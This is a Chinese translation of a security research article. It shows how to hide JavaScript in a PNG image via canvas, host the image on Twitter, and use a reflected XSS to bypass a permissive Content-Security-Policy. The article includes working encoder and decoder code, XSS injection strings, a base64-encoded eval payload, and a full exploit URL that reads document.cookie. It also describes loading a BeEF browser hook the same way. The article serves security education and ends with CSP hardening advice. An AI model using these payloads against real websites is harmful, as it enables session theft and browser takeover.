暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

如何通过将JavaScript隐藏在PNG图像中来绕过CSP

启明星辰金睛安全研究团队 2020-12-29
1508
将一个恶意的JavaScript库隐藏到一张PNG图片中并发布到twitter上,然后通过绕过内容安全策略(CSP)的XSS将其包含在一个易受攻击的网站中。
使用HTML Canvas,可以通过将每个源代码字符转换为像素来将任何JavaScript代码(或整个库)隐藏为PNG图像。然后可以将图像上传到Twitter或Google等受信任的网站(通常由CSP列入白名单),将其作为远程图像加载到HTML文档中。最后,通过使用canvasgetImageData方法,可以从图像中提取“隐藏的JavaScript”并执行它。有时,这可能导致绕过Content-Security-Policy,使攻击者能够包括整个和外部JavaScript库。

由于Content-Security-Policy响应标头在防止XSS,点击劫持和其他代码注入攻击方面的效率很高,因此越来越多地被使用。然而,许多网站配置宽松的策略,以使其免于误报,并将整个域列入白名单,而不是使用特定的资源,或者使用不安全的内联或不安全的评估指令,从而导致策略绕过。

从Mike Parsons的一篇有趣的文章,可以了解如何使用HTML Canvas将JavaScript代码“存储”到PNG图像中,在我看来,这可能是完美的CSP绕过技术,包括利用XSS的邪恶的JavaScript外部库脆弱性。下面简述了使用 CanvasRenderingContext2D的putImageData和getImageData如何使用String.charCodeAt来表示隐藏的文本字符串的每个字符。

  • CanvasRenderingContext2D.putImageData()Canvas 2D API的方法将来自给定ImageData对象的数据绘制到画布上。如果提供了脏矩形,则仅绘制该矩形中的像素。此方法不受画布转换矩阵的影响。
  • Canvas 2D API的CanvasRenderingContext2D方法getImageData()返回一个ImageData对象,该对象表示画布指定部分的基础像素数据。此方法不受画布转换矩阵的影响。如果指定的矩形超出画布的边界,则画布外的像素在返回的ImageData对象中为透明的黑色。

0x01 使用画布隐藏PNG图像中的文本

您可以复制并粘贴如下示例到浏览器的JavaScript控制台中,创建以给定的字符串开始的PNG图像,例如:“Hello,World!”。然后打开一个新标签,,点击about:blank,然后打开JavaScript控制台,粘贴以下代码:
(function(){
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c 3)),
                f = e,
                g =document.createElement("canvas"),
                h =g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++){
                    var o = 4 * (m * e) + 4 *n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p&& (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o+ 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0),h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319>= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f -56320) + 65536
        }
        return 56320 <= e && 57343>= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML ="", b.appendChild(img)
})();
上面的代码使用putImageData方法创建了一个图像,使得“Hello,World!”的每组3个字符作为每个像素的RGB级别(红色,绿色和蓝色)。在浏览器的控制台中运行它之后,您会在左上方看到一个小图像:

生成的图像(x10缩放):

就像我之前说的,上图的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数,可以将每个字符转换为0到65535之间的整数,表示其UTF-16代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值为alpha级别,是在我们的示例中总是为255。例如:
r ="H".charCodeAt(0)
g ="e".charCodeAt(0)
b ="l".charCodeAt(0)
a = 255
j.data =[r,g,b,a,...]
在以下架构中,将尝试更好地解释如何将字符串的字符分配到ImageData数组中:

现在,现在我们有了一个表示“Hello,World!”字符串的PNG图像。你可以复制和粘贴以下代码在你的JavaScript控制台转换生成的PNG图像到原始文本字符串:
t =document.getElementsByTagName("img")[0];
var s = String.fromCharCode,c = document.createElement("canvas");
var cs =c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width =w;
c.height =h;
cs.width =w + "px";
cs.height= h + "px";
cx.drawImage(t,0, 0);
var x = cx.getImageData(0,0, w, h).data;
var a ="",
    l = x.length,
    p = -1;
for (var i= 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
大意为:JavaScript代码选择刚创建的图像元素,然后使用getImageData将其转换为原始文本字符串。使用时getImageData,会得到一个ImageData对象,该对象的数据属性包含一个大数组。如前所示,对于每个像素,ImageData数组中有四个条目:r、g、b和alpha。因此,数组看起来像[pixel1R,pixel1G, pixel1B, pixel1Alpha,…, pixelNR,pixelNG, pixelNB, pixelNAlpha]。


0x02 脆弱的网站

现在我们知道了如何将文本字符串“存储”到图像中,以及如何将该图像转换回原始字符串。现在假设隐藏一个JavaScript代码,而不是一个简单的文本字符串,并将生成的PNG图像上传到Twitter上。可以绕过将来自Twitter的图像列入白名单的内容安全策略,可以利用XSS从“受信任的”来源加载JavaScript内容。
已经创建了一个故意易受攻击的Web应用程序,将用于测试该技术。该Webapp使用了Content-Security-Policy来阻止加载外部JavaScript资源:
 

XSS脆弱的网络应用

如您所见,该应用程序使用了一个内容安全策略,允许从“self”和“Twitter”获取图像,并允许从“self”、“inline”和“eval”获取JavaScript。不幸的是,许多网站配置了script-src指令,允许不安全内联和不安全eval,以避免误报。此外,许多网站将整个域名而不是特定资源列入白名单。
根据最近对Alexa排名前100万的爬行,似乎有超过5000个网站在script-src或default-src指令上使用了“不安全-内嵌”和“不安全-eval”的内容安全策略:

该漏洞存在于langquerystring参数上,它没有清理用户的输入,导致HTML注入和反映的XSS。为了在这个测试web应用程序上利用XSS漏洞,我需要注入HTML语法以关闭src属性并添加一个脚本标记,然后注入类似于?lang="><script>alert(1)</script>。

利用反射的XSS

现在我需要绕过CSP并导入一个外部JavaScript库,类似于?lang="><script+src="//example.com/evil.js"></script>该库被CSP阻止:

通过CSP阻止了外部javascript

上面的屏幕截图显示了CSP如何在example.com/evil.js处阻止外部JavaScript文件,因为它违反了script-src指令。


0x03 在Twitter上上传PNG JS

经过一些测试,我发现当上传的图片太少时,Twitter会显示错误。所以我使用了一个很长的JavaScript代码(包括随机的注释)来创建一个更大的图像:
(function(){
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c 3)),
                f = e,
                g =document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++){
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p&& (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o+ 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0),h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 <= e && 56319>= e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f -56320) + 65536
        }
        return 56320 <= e && 57343>= e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "function asd() {\
    var d = document;\
    var c = 'cookie';\
    alert(d[c]);\
    };asd();/*Lorem ipsum dolor sit amet,consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Maurismi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsumvel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nullacongue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibhmetus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisiquis ex sollicitudin bibendum sit amet ac quam.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitorvitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum.Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendissetristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed loremtellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur euultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendreriteuismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitorvitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum.Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristiquenon ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed loremtellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur euultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendreriteuismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitorvitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum.Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendissetristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed loremtellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur euultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendreriteuismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitorvitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum.Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendissetristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed loremtellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultriciesmi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiamsed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitorvitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum.Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendissetristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed loremtellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur euultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendreriteuismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae.Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duisefficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendissetristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus,fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultriciesmi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiamsed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Phasellus vel bibendum mi. Nam hendreritjusto eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh,tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien,rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nislfringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitorvitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum.Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendissetristique non ante ac lobortis.\
    Phasellus auctor lectus nibh, non vulputatesem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta.Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duispulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sedtempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate,accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, euviverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felislibero facilisis enim, vitae tincidunt felis libero nec tortor. Sed loremtellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur euultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendreriteuismod. Etiam sed nibh eu est dignissim ultricies.\
    Sed cursus felis eu tellus sollicitudin, aluctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesquevitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor.Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula.In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sitamet, convallis ante.\
    Vestibulum tincidunt diam vel diam semperposuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sedpharetra eros et malesuada mattis. Donec tincidunt elementum mauris quiscommodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitaecursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabiturac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequatnibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristiquesodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sederos quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et,elementum finibus erat.*/";
    img.src = encode(stringenc), b.innerHTML ="", b.appendChild(img)
})();

生成的PNG图像

随后将其上传至Twitter:

图片/ JavaScript上传到Twitter

通过将图像从Twitter加载到IMG标记中,我可以将其转换为原始隐藏的JavaScript代码。正如您在下面的截图中看到的,该图像包含一个执行文档警告的JavaScript函数。

现在,让我们eval在易受攻击的Web应用程序中尝试此JavaScript代码。


0x04利用:绕过CSP

如前所述,为了利用测试web应用程序,我需要将HTML语法注入到IMG标记中,以关闭src属性?lang="><script>alert(1)</script>。
要包含来自Twitter的远程图像,我可以发送以下请求:
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
红色部分是我们恶意PNG图片的Twitter URL。
蓝色部分是一个注入的id属性,以便更容易地选择IMG标记。
绿色部分是一个A标记,用于防止破坏HTML语法。
现在我需要注入一些JavaScript行来将图像转换成外部JavaScript库,并绕过CSP:
t =document.getElementById("jsimg");
var s =String.fromCharCode, c = document.createElement("canvas");
var cs =c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width =w;
c.height =h;
cs.width =w + "px";
cs.height= h + "px";
cx.drawImage(t,0, 0);
var x =cx.getImageData(0, 0, w, h).data;
var a ="",
    l = x.length,
    p = -1;
for (var i= 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
我已经将其编码为base64,现在我eval(atob("base64-encoded-js"))将在一个注入onload属性内使用它:


onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'

变成(橙色):

http://localhost:8111/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22

发送整个有效负载后,执行getImageData消息“画布已被跨源数据污染”时出现错误。

通过阅读文档,似乎我的浏览器有意阻止了诸如getImageData跨源加载图像时的方法。看来我只需要注入crossorigin属性:
  • HTMLcrossorigin为图像提供了一个属性,该属性与适当的CORS标头结合使用,可以将由<img>元素定义的从外部来源加载的图像用于,<canvas>就像从当前来源加载的图像一样。

  • 由于画布位图中的像素可能来自多种来源,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。一旦您将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。脏画布是一种不再被认为是安全的画布,任何从画布中检索图像数据的尝试都将引发异常。如果外部内容的来源是HTML<img>或SVG<svg>元素,则不允许尝试检索画布的内容。

幸运的是,Twitter为所有上传的图片添加了访问控制-allow - origin: *,这意味着我只需要将crossorigin属性注入到值为“anonymous”的IMG标签中,它就可以工作了。

通过注入值为“anonymous”的crossorigin属性,所有工作都如预期的那样,我已经成功执行了函数alert(document.cookie),如下图所示:

Twitter图像的警报(document.cookie

这是我使用的整个有效payload:

/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22


0x05 转换BeEF hook.js

这是一个将BeEF的hook.js转换成PNG图像的测试。BeEF是一个浏览器开发框架,一个专注于web浏览器的渗透测试工具(您可以在BeEF的网站上找到更多信息)。我首先用curl-s 'http://localhost:3000/hook对它进行base64编码。js的|base64 -w0,然后我创建的图像如图所示:

hook.js转换为PNG

PNG图片注入hook.js

从易受攻击的Webapp接收到的钩子


0x06 结论

我能够绕过网站的内容安全策略,加载一个隐藏在Twitter上上传的PNG图像中的外部JavaScript库。这是可能的,因为CSP过于宽松,而且Twitter会向所有上传的图像发送一个通配符访问源响应头。我猜想同样的技术在许多其他的社交网络上工作得很好,这就是为什么您不应该在您的CSP上使用“不安全内联”和“不安全eval”指令。如果你在CSP方面需要帮助,你可以在这里找到一个有用的在线工具来检查你的保单,并得到关于如何修复它的好建议。

 

0x07 参考链接 

本文由金睛安全研究团队整理并翻译,不代表金睛安全研究团队任何观点和立场来源:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

文章转载自启明星辰金睛安全研究团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论